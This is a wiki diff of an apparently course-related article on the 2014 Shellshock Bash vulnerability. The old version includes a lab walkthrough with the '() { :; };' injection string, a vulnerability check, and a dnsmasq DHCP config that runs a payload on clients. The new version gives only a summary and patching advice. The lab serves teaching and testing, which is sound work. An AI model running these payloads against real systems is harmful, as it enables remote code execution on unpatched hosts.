|
|
Line 1: |
Line 1: |
| == Summary ==
| | Shellshock, discovered in 2014, is a significant vulnerability in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services. |
|
| |
|
| This documentation is about the Shellshock bug found in 2014.
| |
|
| |
|
| == Requirements == | | ==Background== |
|
| |
|
| * Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
| | ===Bash Shell=== |
| * Packages: dnsmasq
| | The GNU Bourne Again Shell (Bash) is a widely used command processor in Unix-like operating systems. Its design, integrating features from other shells, makes it versatile but also introduced vulnerabilities exploited by Shellshock. |
|
| |
|
| == History == | | ===Discovery=== |
| | Discovered by Stéphane Chazelas in September 2014, Shellshock was initially identified as CVE-2014-6271. Further investigation revealed additional related vulnerabilities, underscoring the security implications of the widespread use of Bash. |
|
| |
|
| === Initial Discovery ===
| |
|
| |
|
| On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.
| | ==Reported Vulnerabilities== |
| | CVE-2014-6271 to CVE-2014-6278: Six vulnerabilities, each uniquely exploiting Bash's handling of environment variables, were identified. These range from executing arbitrary code to causing denial of service (DoS). For example, CVE-2014-6271 allows attackers to append arbitrary commands to function definitions in environment variables. |
|
| |
|
| === Discovery of a bigger problem === | | ==Impact and Attack Scenarios== |
|
| |
|
| After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.
| | ===Attack Vectors=== |
| | Shellshock could be exploited through web servers using CGI scripts, SSH services, DHCP clients, and various network services. By manipulating environment variables, attackers could execute malicious code. |
|
| |
|
| === Aftermath === | | ===Examples of Attacks=== |
| | Notable instances include a suspected attack on a voting server in Georgia, a worm targeting QNAP NAS devices, and unauthorized access to Yahoo servers. These examples highlight the broad and severe implications of Shellshock in real-world scenarios. |
|
| |
|
| The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.
| |
|
| |
|
| == Functionality == | | ==Defense and Mitigation Strategies== |
|
| |
|
| The Shellshock vulnerability is enumerated as an improper neutralization of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof Standards and Technology. It can be exploited to give an attacker remote codeexecution. The vulnerability occurs when defining a environment variable. So basicallyevery system where an attacker could control the content of an environment variablewas exploitable. This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.
| | ===Patches and Updates=== |
| | Rapid development and distribution of patches for each CVE were crucial in mitigating Shellshock. Regular system updates and applying patches are critical for maintaining security. |
|
| |
|
| With the export command, it is possible to export shell variables but also shellfunctions. In the bash version with the Shellshock vulnerability a function definitionstarted with ”(){” in the value of the exported variable. The vulnerability existedbecause bash does not stop processing after the function definition, it continues toparse and execute shell commands.Environment variables can be defined with the following command:
| | ===Best Practices=== |
| env variablename='<value>'
| | Adopting best practices, such as minimal installation to reduce attack surfaces, adhering to the principle of least privilege, regular security audits, and employee training, are essential strategies to prevent similar vulnerabilities. |
| Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
| |
| env x='() { :; }; <exploit code>'
| |
| | |
| == Types == | |
| | |
| === Apache CGI ===
| |
| | |
| Apache CGI is a technology to dynamically load content of a website. This is done via script, which can be written in any programming language.
| |
| This type of the attack mostly uses the User-Agent field of a request. The field's value is set to the Shellshock command, which typically opens a reverse TCP-Shell to the attacker. As soon as the request is sent and processed by the targeted webserver, the attacker has total control over it.
| |
| | |
| === OpenSSH ===
| |
| | |
| Similar to Apache CGI, the OpenSSH attack is used to open a shell on the target. This can even go as far that Shellshock bypasses Multi-Factor Authentication.
| |
| For this, the attacker uses the -t switch of the SSH command, which is used to execute addition command. The value will be the Shellshock command, which the attacker wants the target to execute.
| |
| | |
| === DHCP ===
| |
| | |
| Shellshock can also be exploited via DHCP. In that case, the attacker needs to set up a fake Access Point, which runs a DHCP service. Then, in the DHCP options, the attacker needs to set the value of any string based field to the Shellshock command to be executed. When a target connects to the fake AP, the command will be executed and the attacker has control over the target.
| |
| | |
| == Practical Shellshock DHCP Example ==
| |
| | |
| === Setup ===
| |
| I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.
| |
| For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.
| |
| | |
| === Check Vulnerablity ===
| |
| After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
| |
| env x='() { :;}; echo shellshocked' bash -c ""
| |
| | |
| === Install & Configurating DNSMASQ ===
| |
| First we have to install the package dnsmasq:
| |
| apt-get install dnsmasq
| |
| | |
| After successfully installing dnsmasq we have to configure it. We can do that in the ''/etc/dnsmasq.conf''. I changed the following lines:
| |
| port=0
| |
| interface=ens33
| |
| dhcp-range=192.168.123.10,192.168.123.250,12h
| |
| dhcp-option-force=100,() { :; }; echo pwned
| |
| | |
| Now we need to restart the service and check if any errors occured.
| |
| service dnsmasq restart
| |
| service dnsmasq status
| |
| | |
| === Configurating Client & Server IPs ===
| |
| ==== Server ====
| |
| | |
| We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
| |
| apt-get install netplan
| |
| | |
| Now we have to edit the file ''/etc/netplan/01-network.yaml''. My netplan looks as follows:
| |
| | |
| network:
| |
| version: 2
| |
| renderer: networkd
| |
| ethernets:
| |
| ens33:
| |
| addresses:
| |
| - 192.168.123.1/24
| |
| | |
| After saving the file we need to apply the netplan we can do that with the command
| |
| sudo netplan apply
| |
| | |
| To check if the network interface got configured we can perform the command
| |
| ifconfig
| |
| | |
| ==== Client ====
| |
| For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the ''/etc/network/interfaces'' file as follows:
| |
| auto eth0
| |
| iface eth0 inet dhcp
| |
| | |
| === Perform the attack ===
| |
| When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
| |
| sudo /etc/init.d/networking restart
| |
| | |
| As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
| |
| == Courses ==
| |
| | |
| * [[Ausgewählte Kapitel der IT-Security]] (2021/2022)
| |
| | |
| == References ==
| |
| | |
| * https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation
| |
| * https://dwheeler.com/essays/shellshock.html
| |
| * https://ftp.gnu.org/gnu/bash/
| |
| | |
| [[Category:Documentation]]
| |
Shellshock, discovered in 2014, is a significant vulnerability in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services.
Background
Bash Shell
The GNU Bourne Again Shell (Bash) is a widely used command processor in Unix-like operating systems. Its design, integrating features from other shells, makes it versatile but also introduced vulnerabilities exploited by Shellshock.
Discovery
Discovered by Stéphane Chazelas in September 2014, Shellshock was initially identified as CVE-2014-6271. Further investigation revealed additional related vulnerabilities, underscoring the security implications of the widespread use of Bash.
Reported Vulnerabilities
CVE-2014-6271 to CVE-2014-6278: Six vulnerabilities, each uniquely exploiting Bash's handling of environment variables, were identified. These range from executing arbitrary code to causing denial of service (DoS). For example, CVE-2014-6271 allows attackers to append arbitrary commands to function definitions in environment variables.
Impact and Attack Scenarios
Attack Vectors
Shellshock could be exploited through web servers using CGI scripts, SSH services, DHCP clients, and various network services. By manipulating environment variables, attackers could execute malicious code.
Examples of Attacks
Notable instances include a suspected attack on a voting server in Georgia, a worm targeting QNAP NAS devices, and unauthorized access to Yahoo servers. These examples highlight the broad and severe implications of Shellshock in real-world scenarios.
Defense and Mitigation Strategies
Patches and Updates
Rapid development and distribution of patches for each CVE were crucial in mitigating Shellshock. Regular system updates and applying patches are critical for maintaining security.
Best Practices
Adopting best practices, such as minimal installation to reduce attack surfaces, adhering to the principle of least privilege, regular security audits, and employee training, are essential strategies to prevent similar vulnerabilities.